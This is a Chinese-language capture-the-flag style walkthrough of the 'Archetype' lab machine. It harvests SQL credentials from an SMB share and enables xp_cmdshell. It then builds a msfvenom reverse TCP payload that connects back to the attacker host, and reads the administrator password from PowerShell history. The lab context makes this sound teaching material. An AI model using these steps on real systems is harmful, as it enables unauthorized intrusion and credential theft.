n00b2Hacker
- 关注
靶机IP:10.129.166.143
kali IP:10.10.16.39
使用nmap进行端口扫描并保存到ports文件中
nmap -sT --min-rate 10000 -p- 10.129.166.143 -oA ports
但由于网络不稳定,一直没有扫出结果,看writeup已知开放135,139,445,1433
继续扫描服务版本等详细信息
nmap -sT -sC -sV -O -p135,139,445,1433 10.129.166.143
依然扫不出来,但也无所谓了
先从smb下手 smbclient -L 10.129.166.143 会报连接失败的问题,可能也是网络环境的原因
没有密码直接回车即可,$结尾需要管理员权限,所以只能查看backups
使用反斜杠再转义并不是标准的写法,但能好使
# cat prod.dtsConfig
<DTSConfiguration>
<DTSConfigurationHeading>
<DTSConfigurationFileInfo GeneratedBy="..." GeneratedFromPackageName="..." GeneratedFromPackageID="..." GeneratedDate="20.1.2019 10:01:34"/>
</DTSConfigurationHeading>
<Configuration ConfiguredType="Property" Path="\Package.Connections[Destination].Properties[ConnectionString]" ValueType="String">
<ConfiguredValue>Data Source=.;Password=M3g4c0rp123;User ID=ARCHETYPE\sql_svc;Initial Catalog=Catalog;Provider=SQLNCLI10.1;Persist Security Info=True;Auto Translate=False;</ConfiguredValue>
</Configuration>
</DTSConfiguration>
查看得到的文件,获得User ID=ARCHETYPE\sql_svc,Password=M3g4c0rp123,使用此用户名和密码登录
mssql,先定位一下mssqlclient的位置
# locate mssqlclient.py
/usr/share/doc/python3-impacket/examples/mssqlclient.py
# python3 /usr/share/doc/python3-impacket/examples/mssqlclient.py sql_svc@10.129.166.143 -windows-auth
// -windows-auth表示使用windows身份认证,主要是我不加就登不上去
SQL Server中的xp_cmdshell是一个扩展存储过程,它允许执行操作系统命令,我们可以借助它来上传一个
反弹shell,但它默认是禁用的,需要将它启用
SQL (ARCHETYPE\sql_svc dbo@master)> enable_xp_cmdshell
INFO(ARCHETYPE): Line 185: Configuration option 'show advanced options' changed from 0 to 1. Run the RECONFIGURE statement to install.
INFO(ARCHETYPE): Line 185: Configuration option 'xp_cmdshell' changed from 0 to 1. Run the RECONFIGURE statement to install.
SQL (ARCHETYPE\sql_svc dbo@master)> reconfigure
使用msfvenom生成payload
# msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.16.39 LPORT=4444 -f exe -o shell.exe
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
No encoder specified, outputting raw payload
Payload size: 354 bytes
Final size of exe file: 73802 bytes
Saved as: shell.exe
打开msf,设置监听器并修改对应的选项
先用php架起一个服务器
php -S 0:80
使用powershell下载生成好的payload并保存在当前用户的目录下
然后将msf监听器启动,并执行payload
确认是我们靶机的IP,已经获得了初始立足点
获得user flag
查看powershell历史记录
PowerShell 的历史记录通常保存在一个文本文件中,默认路径如下:
Windows 10/11:%APPDATA%\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
Windows Server:%USERPROFILE%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
c:\Users\sql_svc\Desktop>type c:\users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
type c:\users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history.txt
net.exe use T: \\Archetype\backups /user:administrator MEGACORP_4dm1n!!
exit
net.exe use T: \\Archetype\backups /user:administrator MEGACORP_4dm1n!!
命令是在 Windows 系统中通过 net use 命令将网络共享驱动器映射到本地系统的一个命令行。该命令会将远程服务器 \Archetype\backups 共享资源映射为本地的 T: 驱动器,并使用指定的用户名和密码进行身份验证。由此获得了administrator的密码为MEGACORP_4dm1n!!
使用psexec登录,evil-winrm应该也可以
确认IP没问题,已经是system了
拿到root flag
使用evil-winrm
一样拿到root flag